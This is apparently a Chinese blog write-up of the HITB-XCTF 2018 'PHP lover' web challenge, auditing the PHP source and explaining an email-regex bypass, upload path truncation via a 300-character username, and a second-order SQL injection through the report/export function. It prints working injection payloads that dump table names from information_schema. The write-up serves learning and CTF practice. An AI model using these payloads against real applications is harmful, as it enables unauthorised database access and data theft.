参考文献:https://www.anquanke.com/post/id/104952
一直想学代码审计来着,看到了一篇大佬的关于php代码审计的wp,决定自己试一下
源码下载地址:https://hitbxctf2018.xctf.org.cn/contest_challenge/里面的web题目中的PHP lover
代码结构1
2
3
4
5
6
7
8Controller 控制器,只有index.controller.php
Core 类及方法定义
templates 前端的各种html界面
uploads 里面是两张图片
back.sql 创建的数据表
config.php 连接数据库
function.php 定义过滤函数
index.php 入口文件
从index.controller.php看下主要功能1
2
3
4
5
6public function login()
public function register()
public function add()
public function view()
public function edit()
public function export()
- login()
登录调用User类的login()方法,跟进login()函数(在user.class.php
中)
跟进username的过滤函数filter()(在function.php
文件中)
其中正则表达式中的b
表示的为单词边界,而不是通配,如preg_match("/bwebb/i")
只能匹配到web
,而web123
这种就不能。
所以可以用"select * from/**/users"
绕过此过滤(//作为空格注入)
但是在User类的login()方法中,
这就把`//`过滤了,所以这个方法不行 - register()
跟进user类的register()方法
其中$username和$nickname没有可能了
再看一下email,看下正则匹配1
if(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$email)) return false;
其中([\"].+[\"])
只需要""
包围即可,引号中可以随便写。所以可以用·'"' and 1=1#'"@skysec.top'
这种绕过,但是在daddslashes()
这个函数中将"
转义了。
- add()
跟进user类中的add()方法
全部被转义 - view()
跟进user类中的getarticle()函数
emmm,直接intval()
也是妙。。 - edit()
上传功能,类型检测可以抓包bypass,但是1
2
3
4$info=getimagesize($_FILES['avatar']['tmp_name']);
if(@is_array($info) and array_key_exists('mime',$info)){
$type=explode('/',$info['mime'])[1];
$filename="uploads/".$this->user->getuser().".".$type;
文件后缀直接是mine的类型,这样就不能bypass上传恶意文件了
跟进下user类的getuser()方法
文件名、是我们注册的用户名,用户名是无法bypass的,所以这里的上传,除了文件名长度其他都不可控
- export()
跟进user()类中的report()方法
这里被当做错误触发,未做任何过滤,其中email的插入很关键
所以接下来才算步入正题。。。emmm先膜拜下大佬的思路。
攻击点 - 这题注册的时候,可以Bypass注册恶意邮箱,但是其中有符号被转义了
- 但是这个转义在取出数据库的时候会被去除
- 如果在取出后,系统又对这个数据进行了一次sql操作,就可以触发注入,通过二次注入
- 我们的注册的时候注册恶意邮箱,在这里触发错误报告的时候就会被系统再次调用,取出数据库后转义消失
- 拼接到insert语句时,构成sql注入攻击
我们根据这一点注册用户,邮箱为1
"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top
假设我们能触发export()函数中的$this->user->report(1)
$this->email
为我们邮箱取出数据库的值:1
"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top
此时利用report插入了两条数据1
2$this->id,'"', 233
2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)
触发sql注入需要解决
①自己的id需要知道,这样可以插入
在view()方法中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20if(isset($_GET['article'])){
$id=intval($_GET['article']);
$result=$this->user->getarticle($id);
if($result==-1){
quit('You have no access to read this article!');
}
else if($result==null){
//TODO!report it!
quit('This article is not exists!');
}
else{
if($result[0][2]!="") echo "<h1>".htmlspecialchars($result[0][2], ENT_QUOTES)."</h1>";
echo htmlspecialchars($result[0][3], ENT_QUOTES);
}
}
else{
$id=$this->user->getid();
$this->view=$this->user->getarticle();
include("templates/view.html");
}
若是不输入article参数,会调用1
2
3
4function getid(){
if ($this->islogin) return $this->id;
else return null;
}
就可获得id
②触发if(file_exists($avatar) and filesize($avatar)<65535)
false,这样就会成功到else,构成攻击
跟进user类中的getavatar()方法
查看back.sql
文件,其中
1
2$r[1]:data
$r[3]:filepath
如果我们的上传图片有数据,就返回Base64后的数据,否则返回路径
edit()
的上传功能中有1
2
3$filename="uploads/".$this->user->getuser().".".$type;
if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
$this->user->edit("avatar",array($filename,$type));
跟进user类中的edit()方法1
2
3if($feild=="avatar"){
return $this->db->Insert("avatar",array("''",$this->id,"'$value[0]'","'$value[1]'"));
}
即avatar表的filepath字段为1
uploads/用户名.文件mine
数据库结构中
用户名的长度是300,而路径长度1
`filepath` varchar(300),
如果我们的用户名长度为300,此时插入的路径就会被300截断,而变成一个不存在的路径,此时即可触发file_exists($avatar)
错误
题目链接打不开了,放下大佬的完整攻击流程:
- 先随便注册个用户,看一下自己的id
然后再迅速注册用户,验证id是否是自己预想的id+1
1
2
3
4username =
skyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskysky
email =
"', 233), (id+1, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top登录后触发上传功能
- 上传空文件,抓包改mine
- 触发export功能,即可完成攻击,发现注入成功后的数据
最后得到flag表,以及数据